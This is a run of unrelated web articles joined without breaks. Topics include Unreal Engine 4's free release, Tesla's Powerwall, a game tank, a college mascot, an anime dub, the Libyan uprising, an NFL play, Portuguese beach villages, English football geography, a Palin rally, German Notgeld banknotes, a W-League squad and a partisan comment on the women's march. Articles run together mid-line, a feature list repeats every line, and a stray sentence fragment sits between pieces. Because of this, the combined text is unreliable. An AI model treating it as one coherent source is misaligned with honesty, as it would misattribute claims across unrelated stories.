Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.One of the best gaming and visual effects creation programs, Unreal Engine 4 is now free to download and use for everyone, without limitations. Additionally, all future updates will also be free to download and use. But, there is a slight catch, for game and app developers.
Epic recently released that latest version 4.7, which included a massive amount of new features and functionality. Including the ability to assemble new actors using components within your level, and the ability for users to create their own custom component types using Blueprint visual scripting or C++.
The software, most often used for game design, also features VFX and cinematic systems, for those working in CGI. The latest update also includes the ability to create physics based animations.
We’ll take a closer look at the new improvements in 4.7 later in the article, but first, let’s discuss that catch.
If you use UE4 to create a game, app or program and then release that creation, Epic requires a 5% royalty on gross revenue, after the first $3,000 is made. Which means, for larger gaming companies like Square Enix or Rockstar who use the software, that’s quite the royalty cut being applied across the board. However, for indie game developers, who don’t stand to make a huge amount of money, this is brilliant news.
Filmmakers, however, get the best deal. For film, video, animation or broadcast, no royalty payment is required. So long as their work doesn’t require the embedded use of the source code or servers running UE4 (the way an mmorpg or game would). Check out the terms listed below:
For the release of Pacific Rim, Guillermo del Toro collaborated with Legendary Pictures to create an entire virtual reality experience for fans attending the San Diego Comic Con 2014. Other cinematic uses of the software was for Alex Pardee’s web series Chadam was made in UE3.
For Cannes Lions Festival of Creativity, Zoic Studios melded live performances with VFX, bringing to life a chimera on a two-story screen.
“The speed of iteration in Unreal Engine 4 allowed us to complete this project in very little time. By using the Blueprint system we were able prototype many different approaches to the various challenges we faced while building the character,” said Creative Technical Director Paulus Bannink.
Last year, the company made UE4 available for use via a monthly $19 subscription, which opened up the community to now include a wiki, answer hub, active community forums, marketplace and collaborative projects via GitHub. The company describe it as an ecosystem, which it is in many ways.
Epic are also refunding the most recent few months subscription payments back to users, as a show of good faith to those who had been paying for its use. Including a $30 credit for the UE marketplace, to everyone who has ever paid for a subscription for the software.
This free release will come as a massive advantage to those interested in creating content for virtual reality. The latest release includes a new “VR Preview” feature, allowing editors to be fully immersed into their project whilst developing and building their characters, to see how they work in their environment.
VR Preview
The latest updates includes features that filmmaker’s can incorporate into their projects.
NEW FEATURES:
Animation Editing System: You can now edit animations right inside the Persona animation tool, all of your animation curve edits will be stored on an “additive layer”. Scrub the time slider, select, move and rotate bones using the gizmo and set keys at any frame.
You can now edit animations right inside the Persona animation tool, all of your animation curve edits will be stored on an “additive layer”. Scrub the time slider, select, move and rotate bones using the gizmo and set keys at any frame. Instant Bone Controller Preview: Nodes can now be adjusted interactively using the viewport gizmo, rather than having to recompile each time.
Nodes can now be adjusted interactively using the viewport gizmo, rather than having to recompile each time. Create Animations from Physics: You can now record physics simulation in the physics editor (PhAT) and save that as an animation.
You can now record physics simulation in the physics editor (PhAT) and save that as an animation. Morph Target Exaggeration: Targets can now be weighted higher than 100%, allowing for exaggerated poses, or below 0% for inverse poses.
Targets can now be weighted higher than 100%, allowing for exaggerated poses, or below 0% for inverse poses. Realistic Foliage Lighting: The new Foliage Shading Model allows light to be transmitted through grass, leaves, paper, and other materials.
The new Foliage Shading Model allows light to be transmitted through grass, leaves, paper, and other materials. Foliage Rendering for Open Environments : a new hierarchical system for managing and culling of foliage that scales to millions of instances.
: a new hierarchical system for managing and culling of foliage that scales to millions of instances. In-World Component Editing: Components can now be added directly to actors placed in your level without having to create a Class Blueprint first.
Components can now be added directly to actors placed in your level without having to create a Class Blueprint first. Placeable Empty Actors: You can now drag and drop to place “empty actors, pawns and characters” right into your level.
You can now drag and drop to place “empty actors, pawns and characters” right into your level. Blueprintable Components: Create your own component types using Blueprint scripting, for reuse them on any actor.
Create your own component types using Blueprint scripting, for reuse them on any actor. Automatic Asset Importing: Simply save your source art files under your project’s Content folder, and the editor will automatically import the new files, ready to be used in UE4.
Simply save your source art files under your project’s Content folder, and the editor will automatically import the new files, ready to be used in UE4. Redesigned Blueprint Editor : All three modes have been unified into a single screen to help streamline your workflow, along with many other improvements.
: All three modes have been unified into a single screen to help streamline your workflow, along with many other improvements. VR Preview: Preview your work directly in an Occulous Rift
Preview your work directly in an Occulous Rift OpenEXR HDR Textures: 2D High Dynamic Range textures can now be imported from OpenEXR files, allowing the storage of images with up to 16-bits of data per channel (about 30 stops of exposure.)
2D High Dynamic Range textures can now be imported from OpenEXR files, allowing the storage of images with up to 16-bits of data per channel (about 30 stops of exposure.) Full Engine C++Source Code & Debug Symbols: Allowing you to seamlessly step into engine code while debugging, and you will have complete call stacks after a crash.
Allowing you to seamlessly step into engine code while debugging, and you will have complete call stacks after a crash. Leap Motion Plugin (Beta): Allows you to use Leap’s hand tracking technology directly in your project. Their API is exposed in both Blueprints and code, so any project can take advantage of the tech.
For the full list of features and to download UE4, check here: www.unrealengine.com/unreal-engine-4You almost certainly associate Tesla with cars — very cool cars — but the company has an even grander vision beyond that. Today, CEO and founder Elon Musk unveiled ‘Tesla Energy’ — a new business arm that is focused on ending our dependence on grid power and switching instead to solar energy.
The first Tesla Energy product is ‘Powerwall Home Battery,’ a stationary battery that can power a household without requiring the grid. The battery is rechargeable lithium-ion — it uses Tesla’s existing battery tech — and can be fixed to a wall, removing much of the existing complexity around using a local power source.
“The issue with existing batteries is that they suck,” Musk said in a press conference announcing Tesla Energy. “They are expensive, unreliable and bad in every way.”
Tesla’s solution, he said, is different.
For one thing, the company’s batteries cost $3,500 for 10kWh and $3,000 for 7kWh — add your snarky Apple Watch price comparison here. They are open for pre-orders in the U.S. now; the first orders will be dispatched “in late summer.”
Like regular batteries, they can be used together — up to nine can be stacked up together to create a strong and reliable power source. Musk said he believes they can help people in emerging markets or remote locations ‘leapfrog’ the need for existing power systems, in a similar way that mobile phones have become more important than landlines in remote parts of the world.
The Tesla Powerwall charges using solar power, but it also integrates with the grid “to harness excess power and give customers the flexibility to draw energy from their own reserve.” The batteries recharge in a ‘smart’ way, saving money by picking low-rate periods when electricity is cheapest. They store solar energy for later, for example overnight, and can act as a back-up in the event of a power outage.
Removing dirty energy is an ambitious plan — much like space travel — but Musk believes it can be done. He explained that 160 million battery packs could “transition” power usage in the U.S. to renewable energy, while 900 million units could shift the entire world’s energy needs. Then there is the potential to make the world’s cars run on clean energy.
“This is within the power of humanity to do,” Musk said. “It is not impossible, it is something that we can do. But there’s going to [need to] be other companies involved.”
Musk added that Tesla will continue its policy of open-sourcing patents to help make that happen.
Contrary to most companies these days, Tesla’s press conference — which ran entirely on solar energy — was direct and to the point with little hyperbole.
Musk has made electric cars a (stylish) reality, and is pioneering space exploration with SpaceX. Tesla Energy is another concept which, though beyond the realm of most people’s understanding, has potentially huge consequences if Tesla can execute as Musk believes it can.One of the most requested vehicles in Armored Warfare has been the legendary Israeli Merkava (Chariot) Main Battle Tank. Developed on the back of extensive Israeli experience in armored warfare, the Merkava offers as much protection as possible to its crew.
Development began by taking the Centurion tank and moving its engine to the front of the vehicle. This meant the crew was not only protected by the vehicle's armor, but also by the bulk of the power plant located in front of them. Much like other Israeli tanks (the Centurion and Patton variants), the Merkava was armed with a 105mm license-produced Royal Ordnance L7 rifled gun, avoiding the need to introduce yet another ammunition caliber to the IDF's arsenal.
The initial Merkava model (Mk.I) was more or less a prototype, pushed into mass-production before its trials were even finished. Lacking American resources to build a large number of expensive experimental vehicles, the aim was to provide troops with an advanced and well-protected MBT as soon as possible, following the heavy armor losses in the Yom Kippur war. By that time, the protection of the Patton and Centurion variants in Israeli service was deemed insufficient.
This rush resulted in relatively lower reliability and a number of teething issues for the early production models, which were ultimately only solved five years later when the Merkava Mk.II went into production. In this sense, the Mk.II was what the Mk.I should have been: a version ready for actual mass production. The Merkava Mk.II had a number of improved features over the Mk.I, most of which were aimed at making the vehicle suitable for the low-intensity warfare it was expected to participate in, such as improved protection against RPGs. One variant was the Merkava Mk.IIB with its enhanced fire control system featuring thermal optics. Other improvements were made as well, but even though the Merkava Mk.II was introduced as long ago as 1983, all Merkava details are still classified and various sources differ on the extent of their improvements.
One thing, however, is certain: the Merkava has proven itself to be an excellent tool for fighting both irregular and regular armed forces, and has participated in several major conflicts since its introduction into service. Currently, a large number of obsolete Merkava variants are still in Israeli stores and there are plans to convert them into other types of vehicles, such as the super-heavy Namer APC.
In Armored Warfare, the Merkava Mk.IIB will be a Tier 7 Premium Main Battle Tank. It will be armed with a 105mm L7 rifled gun capable of firing APFSDS and HEAT rounds. Its excellent firepower and decent mobility, thanks to an AVDS-1790-6A engine, are complemented by its thick armor. The tank will also be able to fire smoke grenades.
Other Merkava variants will be introduced to the game later on as regular vehicles. We hope you'll enjoy driving them as much as we enjoyed creating them for you!
See you on the battlefield!ST. LOUIS — The Wichita State mascot stands around 7 feet tall with a prominent highlighter-yellow head sticking out of a black sweatshirt. The head is streaked with black, the face sports a pronounced nose and angry eyebrows, and atop it all sits what looks like a mop of blond hair in a bowl cut gone awry.
The creature has been mistaken for a French fry, a pencil, a celery stalk, a Native American talisman and a sunflower, to name just a few of the guesses over the years. The truth is no less perplexing for outsiders. The mascot, named WuShock, is an anthropomorphic shock of wheat.
“Believe me, he’s quite a sight to see,” Bob Dylan once said on his “Theme Time Radio Hour” show.
The 34-0 Shockers’ quest for an undefeated season will be one of the highlights of the N.C.A.A. tournament, and it will give one of the oddest and most beloved members of the mascot kingdom plenty of face time on national television. An introduction seems appropriate.
“Outside of Wichita, people might think he’s funny looking, but he’s a part of our family,” said Debbie Kennedy, the director of the Wichita State Alumni Association. “There’s only one Wu.”Funimation Entertainment announced on Wednesday that Whitney Rodgers will play Chitose Karasuyama and Tia Ballard will play Takao in its upcoming English dub of D-Frag!. The company is announcing cast members every day for the next three days. The newly announced cast joins Caitlin Glass as Minami Ohsawa and Megan Shipman as Sakura Mizukami.
D-Frag! centers around a notorious delinquent named Kenji Kazama. One day, he unexpectedly stumbles across a "game-making club" (working title) with club president Roka Shibasaki (game attribute: flame/darkness), club member and student council president Chitose Karasuyama (attribute: ground), club member and first-year student Sakura Mizukami (attribute: water), and club adviser/second-year teacher Minami Ohsawa (attribute: lightning). Kazama is half-forced to join the club, and the onetime gang member finds himself in an even stranger gathering of girls.
The series premiered in January 2014, and Funimation streamed the series as it aired in Japan.
Seiki Sugawara ( Kids on the Slope, Akikan! episode director) directed this adaptation of Tomoya Haruno's manga at the studio Brains Base ( Natsume's Book of Friends, Penguindrum ). Makoto Uezu ( Danganronpa, Kamisama Dolls ) was in charge of series composition, while Nijine ( Baka and Test, Akikan! ) composed the music.
Funimation will release the complete series in a limited edition Blu-ray and DVD combo pack on April 28 for US$69.98.Following the Libyan uprising
The Guardian's liveblog of the news coming from Libya is fantastic, in a gripping and sickly horrible way. From the troops and mercenaries massacring demonstrators to the weird, rambling speech of Saif Gadaffi (Muammar's son) blaming drug addicts and foreigners for his people's uprising and threatening to murder the whole country to keep it in his family's hands, it's all there, with frequent updates. The Younger Gadaffi's loose grip on reality can be further explored on his moribund Twitter feed (Google translation to English).
There's also an incredible set of photos of the Libyan uprising on Flickr user Fadhomar's stream.
Renesys has information on the blocks in Libyan Internet coverage: "Two-thirds of Libyan routes came back to life at 6:01 UTC (8:01 local time), and the remainder were restored nine minutes later. At the moment, spot checks of Libyan domains and traceroutes into affected networks indicate that connectivity has been restored, and Libya is back on the Internet." (Thanks, @Re6smith!)
10.28am - Libya: On Audioboo, a group called feb17voices is collecting audio recordings from Libyans reporting on what is happening in their country. Here is a transcript from one from Saturday: My name is Rahma, I am located in Tripoli right now, I am heading out to Fashloom area, they have heard that Fashloom is beginning to protest that... and other suburbs are sort of rioting and protesting anti-government, and because of these riots the cops as we speak are shooting live ammunition and grenades at them. I don't know... Beaten hard right now but Fashloom, Gergaresh and Zawiya street. These are streets, locations, suburbs, areas in Tripoli. This is one from Tripoli that was uploaded three hours ago, about protests in Green Square, in the Libyan capital: The supporters who took over the square, there were like maybe three or four thousand people. The people who came after that, there were like less numbers. This Tripoli man says Gaddafi "is challenging the masses, but, OK, I think he is going to lose it in a couple of days".
Libya uprising - live updates (today)
Libya protests - as they happened (Sunday)
(Image: Libya's new flag, a Creative Commons Attribution (2.0) image from khalidalbaih's photostream)Kirk Cousins and the Redskins’ season ended last Sunday after a 35-18 defeat against the Green Bay Packers. After the half ended 11-17 in favor of the Packers, the Redskins were able to drive down the field and score to take the lead 18-17. In this breakdown, we will take a look at the packaged goal line play the Redskins ran to gain the lead.
Before we begin, what is a packaged play? A packaged play is a group of plays inside of one play where the quarterback has the option, based on the defensive match-up, to choose a passing play or a running play. The players have defined roles and based on these roles he can scan the field looking for the weakness in the opposing defense.
Let’s take a look at this play:
Situation: 3rd and Goal at GB 3
Description: (9:41 – 3rd) Kirk Cousins 3 Yard Rush D.Hopkins extra point is GOOD, Center-N.Sundberg, Holder-T.Way.
The Redskins take the field with 01-personnel (one tight end, four wide receivers) on this 3rd and 3 play call. Cousins is in empty-set shotgun with quad bunch on his left, while tight end #86 Jordan Reed is alone to his right. The quad bunch is composed of wide receivers #11 DeSean Jackson, #14 Ryan Grant, #80 Jamison Crowder, and #88 Pierre Garcon.
This play has three components:
Wide receiver screen to #11 DeSean Jackson using Grant, Garcon, and Crowder as blockers. Fade route to Reed. Cousins on a quarterback draw up the middle through one of the A-gaps.
How does Cousins decide? It’s all based on match-up.
Cousins sees that there are four men (numbers highlighted in green) sitting over the quad bunch. That eliminates this option as there are more defenders than blockers. Additionally, circled in green, is linebacker #52 Clay Matthews who is watching Cousins in zone coverage waiting for the screen pass to intercept it. Cousins wisely moves on to his next read.
The next read is Jordan Reed on the fade route to the backright portion of the endzone. Due to the press alignment of the underneath zone defender (#1 in red) and the deeper zone defender (#2 in red), this play is eliminated.
Finally, Cousins reads the middle of the field. There are three defensive lineman down on the line of scrimmage, while two drop into zones. Based on how close Cousins is to the goal line, all the center has to do is block out the underneath zone defender and Cousins has the walk-in touchdown.
On the defensive side of the ball, you will notice that the Packers’ drop eight men into zones across the goal line and into the back of the endzone, while only rushing three. This is a very common defensive front for the Packers and without the quarterback keeper option, this play probably would not have worked.
One other thing to notice is how Scherff lets #76 Mike Daniels rush right past him. This is by design to ensure Cousins has a more clear running lane. The same goes for #71 Trent Williams and #76 Morgan Moses.
I have only ever seen this quads bunch formation one other time this season and it was against the Tampa Bay Buccaneers on a similar 3rd and goal situation. In this play, the Redskins scored a touchdown to take the lead in the Redskins’ biggest comeback victory in franchise history.
What’s the difference between this play and the same play versus the Packers?
Just like in the touchdown above versus the Packers, Cousins counts four men over the quad bunch part of the formation. He, then, sees a one-on-one match-up versus free safety #30 McDougald. This is Cousins’ key to throw him the ball on the quick-slant.
After the snap, Reed’s excellent release off of the line of scrimmage to turn McDougald’s hips outwards is what frees him for the instant touchdown pass.
Kirk Cousins finished the season with 4,495 passing yards and 30 touchdowns to just 11 interceptions. He will be a free agent this off-season and will look to sign a long-term contract with the Redskins. If an agreement can’t be reached he’ll be franchise tagged by the Redskins.
Follow Samuel Gold on Twitter: @SamuelRGold. For all of Samuel’s articles: Click Here.
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Powered by Facebook CommentsIn the middle of Portuguese nowhere: Praia da Barra and Costa Nova Olya Kostova Blocked Unblock Follow Following Feb 11, 2016
Costa Nova (Aveiro), Portugal
7 days spent in Lisbon made us realize that we would want to see a big and open ocean. 7 days were enough to explore calm and quite warm, as for the end of September, water in the bay around Lisbon. Besides, we were planning to visit Porto as well, so we just had to choose any spot between the two and stop there for around 2 days. Our choice fell on Aveiro province. It takes around 1:30 hours to get from Lisbon to Aveiro by train. On the other side of Aveiro train station, you can easily find a bus stop, from where every 30 mins. bus goes to the peninsula, where our villages with access to the open ocean are located.
Aveiro train station, Portugal
That was my dear friend Kate, who told about cosy striped houses on the beach of Costa Nova village — so we googled information in advance and took our way to that destination. When we arrived we caught a sunset.
Sunset in Praia da Barra (Aveiro), Portugal
It turned out that all rooms on Airbnb were already booked, so we stopped in a closest to Costa Nova village — Praia da Barra. Both of the villages are situated on a small peninsula in the middle of Portugal. It takes just 10–15 mins to walk from one village to another. The first village on our way from Aveiro train station was Praia da Barra. It surprised us with 3 lighthouses, huge and unpredictable waves, tasty local fish, a lot of fishermen everywhere around and slow temp of local people’s lives.
All the boats you see on the pictures belong to fishermen. There are not that many work opportunities for people who live here. A majority works as waiters, sellers or fishermen. I thought that if I were one of them I would choose to be a fisherwoman. Look at their life, what a wonderful view they can observe every day:
The first evening and morning we spent in Praia da Barra. Our dinner was really delicious. It was a place where I fell in love with codfish. We forgot our iPad on the table in the restaurant and when we came back after an hour all of the local people having dinner in that restaurant were already waiting for us wondering about how to find us if we would not come back.
Our dinner and morning view from the window of Airbnb room, Praia da Barra
After breakfast, we took our way to Costa Nova. Surprisingly, it appears that people in Portugal care about comfortable walking along the beach too. Before that, I have seen similar wood walkways only in American movies.
Finally, we saw an open ocean and got to the water. The water was pretty cold and the waves were huge and absolutely unpredictable. One of those unpredictable waves took my Jawbone band and made my iPhone wet when we were standing on the coast. We did not expect the waves, which just touched our foot a little, to be so powerful that they could cover us entirely. Luckily we wiped the phone soon enough to avoid any problems, but fitness band was gone forever.
With the first building of Costa Nova we found what we were looking for: cosy striped houses.
Costa Nova architecture, Portugal
We did not expect the whole village to be striped :)
Costa Nova, Portugal
The fish was just delicious here as well but a bit more expensive than in Praia da Bara. Definitely, it is because of striped houses attracting many tourists. Even renting an apartment here was almost twice as expensive as in the village that is only in 15 mins walk distance — Praia da Bara.
Next day we went to Porto, but before that we spent a few hours in Aveiro, enjoying breakfast and observing a traditional wedding.I had a hard time with this one. Trying to roll it out between two pieces of parchment paper didn't work even when I tried to tape the first piece down. They did start to crack while rolling so I don't think I got the correct thickness. Definitely didn't get 14 dozen. I think too much trouble for me to make again and waste expensive flour.
Hi there, Molls. We're sorry to hear that this well-loved recipe didn't do the trick for you. It sounds like you might have had a little too much flour in your dough which made it crack while being rolled out. In the future, a couple tablespoons of water can help correct this and make a more cohesive dough. If we can help troubleshoot or pick out a recipe that better fits your tastes, please give our Baker's Hotline a call at 855-371-BAKE (2253). Kindly, Morgan@KAFTeams from the South of England are currently dominating the Premier League.
London-based Chelsea is in first place, and is a prohibitive favorite to win the title. Southampton — the southernmost team in the league — currently sits second. Both teams won their games last weekend, beating teams from the North and Midlands. West Ham, also based in London, is in fourth.
While the North (working class, the Beatles) dominated the league for decades, the South (London, the Rolling Stones) has slowly been gaining ground. This process has been driven by culture, politics and the economy.
Using the mammoth football data set compiled by one of this article’s authors (James), we can quantify, and map, the migration of power in the world’s top soccer league over the past 126 years.
England has always had strong regional identities and overt class distinctions. The biggest of these is between North and South. The most obvious differences between these regions are in dialect, culture, politics and economy, but there also exists a North-South football divide. Indeed, the story of the origins of English football is about tensions between working-class Northerners and upper-class Southerners.
Here is the geography of English top-tier football league champions:
Dots show the location of teams that have won the league championship, with the size representing the number of titles. The line is a 20-year moving average of the latitudes and longitudes of winners of the top tier — the center of gravity.
The rules of modern soccer were developed in England in 1863 when the representatives of 11 London clubs and elite private schools (in the South) convened at the Freemasons’ Tavern to establish what would become the Football Association, the game’s governing body. The rules were further modified in 1869 — when handballs were outlawed — leading to more or less the game we know today.
Amateur teams, composed of upper class gentlemen from the South of England, enjoyed early success in the first major national competition — the FA Cup — which began in 1871. However, teams from the North and Midlands quickly sprang up out of religious community organizations, schools and trade unions. Football, an accessible, democratic game, caught fire in the North.
By the mid-1880s, talented players from these areas and Scotland started to be paid for their services in the increasingly competitive North. This led to several years of bitter arguments between the Northern clubs and the powerful, and Southern-founded, Football Association. Central to this dispute were the original men in blazers — two of the earliest presidents of the FA, Colonel Sir Francis Marindin and Lord Kinnaird, established members of the Southern upper crust, and avowed amateur footballers.
Professional working-class Northern teams rapidly overtook their gentlemen Southerner counterparts in ability. The amateurs’ death knell tolled in 1883 when the professional Blackburn Olympic side — featuring weavers, plumbers, dental assistants and iron-foundry workers — beat the epitome of English privilege, the amateur Old Etonians, for the FA Cup title.
Wanting to capitalize on the huge popularity of football among working-class fans, Northern teams formed their own professional league, demanding that the FA accept their will. In 1888, the Football League was founded — six teams from the North and six from the Midlands. It was an immediate success. More teams from the North and Midlands were added and a second division was established in 1892.
The early decades of the Football League were dominated by these Northern and Midland teams. Notably, Aston Villa and Sunderland won six and five titles, respectively, before World War I. It wasn’t until 1931 that a Southern team (Arsenal) was crowned league champion. Indeed, until Arsenal’s FA Cup win in 1930, Northern and Midland teams had also won every single FA Cup since 1883, except for London’s Tottenham Hotspur in 1901. Even that team started five Scots, three Northerners, two Welshman and an Irishman.
The following chart shows the cumulative top-flight league titles won by individual teams, colored by the team’s region.
The Football League became truly national at the start of the 1920-21 season when a third division, composed entirely of teams from the South of England, was created. Over the following decades more Southern teams — Portsmouth, Charlton Athletic, Fulham — gradually rose through successive promotions to find a place in the top tier.
While the league creeped south, it retained its strong Northern flavor. The continued domination of the North is best seen by examining the number of championships piled up by teams from this region between 1920 and 1980. Only Arsenal from the South provided anything like competition for Northern teams such as Everton, Liverpool and Manchester United, all of which won multiple titles.
The fabric of English society changed dramatically during the 1980s. The force that was Margaret Thatcher and her Conservative government’s right-wing policies led to a boom in the prosperity of the City of London and the South in general, while left-wing trade union power waned.
Unemployment in the United Kingdom rose from 5.7 percent in 1979, the year Thatcher took office, to 13 percent in 1983. This aggravated the economic inequality between North and South, and many Northern cities and people suffered financially. These wider economic and political changes were mirrored by shifts in the representation of Northern and Southern soccer teams in England’s top division.
Here are the average latitudes of all teams in the top division of English football, by season:
Only seven times in history has the average latitude of England’s top-flight soccer teams dipped beneath Birmingham — often called England’s “second city” and considered to be a marker of the middle of the country. The first was in 1982, three years after Thatcher became prime minister. The last was in 1991, one year after Thatcher left Downing Street.
Smaller Southern teams — Watford, Wimbledon, Millwall and Oxford United (bankrolled by the business tycoon Robert Maxwell) — made the top tier for the first time during this decade, while others such as Charlton Athletic and Luton Town returned after long absences. The most Southern-skewed season was 1987-88. Although the top four teams all came from the North and Midlands — Manchester United, Liverpool, Nottingham Forest and Everton — 13 of the remaining 17 sides were Southern.
Meanwhile, many former great Northern and Midland teams suffered. Bolton Wanderers, Burnley, Preston North End and Wolverhampton Wanderers, all founding members of the Football League, were relegated to the fourth tier during the 1980s.
The nature of English soccer changed forever with the formation of the Premier League in 1992, the huge influx of money and the globalization of the game.
In the early years of the EPL, there was a brief mini-revival for several historically strong Northern teams, like Middlesbrough, Leicester City, Bolton, Sunderland and Nottingham Forest, that had suffered during the 1980s. Each was promoted back to the top tier during the mid-1990s. Most notably, Blackburn Rovers, bankrolled by local businessman Jack Walker, won the Premier League in 1995.
But these teams have all since struggled to consistently retain their places in the EPL, as survival and success are determined more and more by financial muscle. Footprints of the old historical North-South divide are still evident in the composition of teams in England’s top tier but, in order to compete, EPL teams have increasingly become global franchises, taken over by uber-wealthy foreign owners, many of whom have preferred to invest in teams near London, the nation’s capital.
English football in the 19th and 20th centuries was fueled by the fanaticism of working-class fans, going to watch their local heroes play for their hometown team. The connection between fans and their clubs was built upon these regional and local ties. In the 21st century, the super-successful, globalized EPL has seen the diminishment of some of these strong regional identities that had mattered so much.Apparently, not all was sweetness and light at Saturday’s Sarah Palin appearance in Mesa, Arizona:
MESA, AZ — John McCain and Sarah Palin continued their reunion tour with a stop in Mesa Saturday, but the rally turned violent outside.
Palin implored Arizona to “send the maverick back to the United States Senate.”
But just as Palin took the podium, hecklers began to disrupt the former Alaska governor.
Witnesses said one of the hecklers was pulled up by the hair by a McCain/Palin supporter.
As the man — who said his name is Alex — was taken out of the auditorium, he is seen in video being tackled by three men, one identified as a police officer in plain clothes, a man in a McCain T-shirt, and another man.
Witnesses say another protestor was also punched by someone in the crowd.
Ethan Elder was taken into custody by police, but was later released.
Police say no arrests were made and nobody is facing charges.
“I shouted my message. My intention was to speak my political opinion and leave peacefully,” Elder said. “I was immediately assaulted by the crowd. They turned angry and belligerent.”
Some protestors complained that the Palin/McCain supporters who attacked them were not taken into custody or charged by police.That is nothing, and I am only mentioning |
paying with paper.
A charming pastoral scene on this 50 Heller (one Heller = half a Pfennig) note from the Austrian town of Ruprechtshofen; a timeless image that would look equally at home on a box of porridge or a packet of tobacco as it does on a banknote printed in desperate times.
Here, a donkey in silhouette defecates quite liberally while simultaneously eating grass. A metaphor for the circle of life? Or the work of a belligerent artist eager to point out that the German economy has essentially turned to dung?
This 1922 note from Sternberg makes tangible the compulsion to find scapegoats in times of economic hardship, and gives a sense of the social milieu that would facilitate the unimaginable horrors of the following decades. The image depicts the harrowing accusation of blood libel that has echoed through history as a manifestation of anti-semitism, suggesting that Jews use the blood of Christian children as an ingredient in the production of matzah bread. This is far from the only example of an anti-semitic Notgeld banknote.
Something a bit more light-hearted and hallucinogenic for this ½ mark entry from Ströbeck. The unusually minimalist design features a harlequin astride a giant beach ball (or a tiny harlequin atop a normal-sized beach ball), preparing to juggle two napkins branded with a crown and an octopus. And why not?
This banknote from Lenzen is a stern love letter to a local breed of cow.
Black and white like the Dreußens flag,
That’s how the “Herdbuch Bull” looks.
Its ancestors are from East Friesland
But now we breed them here,
So, you peasants, never rest,
And only breed the Herbuch cow.
Notgeld wasn’t always printed on paper; this 25 mark note from Bielefeld was printed on silk, and looks like something a spiritually progressive student would hang on a wall, hoping it might be a conversation starter the next time he’s giving someone a totally platonic massage that he repeatedly and almost convincingly insists has no sexual motive whatsoever.
Very difficult to read, but this comic book-style 75 pfennig note has a subtle anti-elitist message, warning the reader that there are no rewards awaiting the soldier in the castle, but he can still get pleasure from a nice, down-to-earth beverage in the village.
A 50 Pfennig note from Silberberg passes fairly direct comment on the economic crisis that spawned it:
At one time silver was found at this site / If only Silberberg had silver today!
And for good measure, here are a few more examples taken from a frankly astonishing collection of 5000+ Notgeld that Flickr user Iliazd inherited from his grandfather. They are so utterly striking that they deserve to be experienced without any sarcastic commentary whatsoever:Chris Calvey and the Atheists, Humanists, & Agnostics (AHA!) at the University of Wisconsin-Madison are in a fundraising battle-to-the-death (or as he calls it, a “friendly competition”) against Christian and Muslim groups on their campus and they need your help!
They’re trying to raise money for the (non-sectarian) Second Harvest Food Bank of Southern Wisconsin:
By tapping into the generosity of the atheist internet hive-mind, I am declaring a fundraising goal of $500 – that’s 1,500 meals – by the end of the month. Your donation will help ensure an AHA victory, thus proving once and for all that atheists are more moral than Christians and Muslims. (That was a joke) Seriously though, if this contest ignites within us a competitive, wallet-opening spirit… then we will have successfully fed more hungry people, and ultimately that is the most important thing.
Awesome. If you can chip in, the Donate button is on the top right corner of the AHA! website. It’d be great if they could reach their goal before Thanksgiving…Sydney FC have announced the return of Westfield Matildas’ World Cup and Rio 2016 Olympic star Caitlin Foord for their W-League 2016/17 campaign.
The 21-year old, who already has 50 caps for her country, is one of Australian football’s brightest female talents and returns home to the club where she made her Westfield W-League debut and won the 2010/11 Premiership and 2012/13 Championship.
Foord has been a virtual ever-present for the Matildas since making her debut in 2011 and has also won the FIFA Women's World Cup Best Young Player and Asian Young Footballer of the Year awards.
The attacking midfielder believes a return to wearing Sky Blue will reap rich rewards this season.
“I’m really excited to be back home and can’t wait to put the Sky Blue jersey on again,” Foord said.
“My family love to watch me play and I love having them in the crowd so being back in Sydney FC colours gives them the chance to watch and support me.
“I’m as hungry as ever to take out the title this year and I think the environment at Sydney FC is perfect for winning silverware.”
The Sky Blues’ squad will also boast a wealth of skill, with current Westfield Matildas and Rio 2016 Olympic stars Alanna Kennedy and Kyah Simon joining Foord in the line-up this season.
As last season’s Grand Finalists, Sydney FC also welcome back fellow Matildas Teresa Polias, Leena Khamis, Nicola Bolger and Servet Uzunlar, with the four carrying FIFA Women’s World Cup and AFC Asian Cup experience between them.
- Leena Khamis and new signing Caitlin Foord show off the 2016/17 home jersey at Allianz Stadium. Photo by: Amos Hong.
Georgia Yeoman-Dale joins from the Newcastle Jets as another player who has represented the Matildas, with the squad containing 13 players who have featured in either the senior or youth national team.
The Sky Blues go into the season hoping to continue their proud record of being the only club to appear in every Westfield W-League Finals Series to date.
“I'm very excited about the squad for this season,” Barrett said.
“We have ticked all the boxes regarding meeting our objectives of depth and versatility. We have added and welcomed back quality players, many of whom can play and contribute in more than one role.
“The depth is key not only for cover but it adds that real competition for starting places each week.
“This is healthy and will help us drive forward and raise the bar around our standards and expectations that have been in place since the team’s inception.
“I will look to add possibly 4 other key signings in the coming weeks.”
Sydney FC Westfield W-League captain Teresa Polias said she was impressed by the squad on offer for the 2016/17 season.
“I think our coaching staff have done a great job recruiting this season,” Polias said.
“It’s always a positive sign when you keep the majority of the squad from a successful season and I believe we have more than enough quality to go one better this season.
“It’s fantastic to have Caitlin back as well,” Polias continued.
“She adds a lot of experience and quality to our team.”
Sydney FC kick off their Westfield W-League season away to Brisbane Roar at Dunmore Park on Saturday 5 November (kick off 5pm).
Sydney FC’s Westfield W-League 2016/17 Squad:
1. Shamiran KHAMIS
2. Teresa POLIAS
4. Elizabeth RALSTON
6. Servet UZUNLAR
7. Nicola BOLGER
9. Caitlin FOORD
11. Natalie TOBIN
12. Olivia PRICE
13. Georgia YEOMAN-DALE
14. Alanna KENNEDY
16. Hannah BACON
17. Kyah SIMON
19. Leena KHAMIS
20. Princess IBINICOMMENT: In the UK, the organizers of this woman’s march said it was not a protest about Trump. In the United States it is being billed as a Trump protest. What a difference the other side of the pond.
ANSWER: Yes. Here the press is always going to be negative and will do whatever they can to bash Trump for the next 4 years. This will be in fact the very means of dividing the United States that will lead to massive civil unrest if not an uprising from the left. I cannot believe how ignorant these women are yelling that Trump better keep his hands off of their rights. This is the gender confrontation of the 1960s all over again. The real women activists from the Sixties are all dying alone. Their confrontation with men has been so nasty, who would want to be in such a position. There should be no suppression from either side. A couple is a team effort. Yes, there are men extremely possessive. But there are women who have the same mindset.
Trump has said nothing about subjugating women. I really do not get this. If there was anyone who oppressed women it was Hillary. She trashed any women Bill had an affair with. Bill will be Bill as he was at the inauguration. That was a political marriage all the time. This protest yelling “We’re Not Going Away” is very befuddling. I understand protesting something Trump proposes or does. But what was all of this about – just a protest organized by the left with unknowing participants?
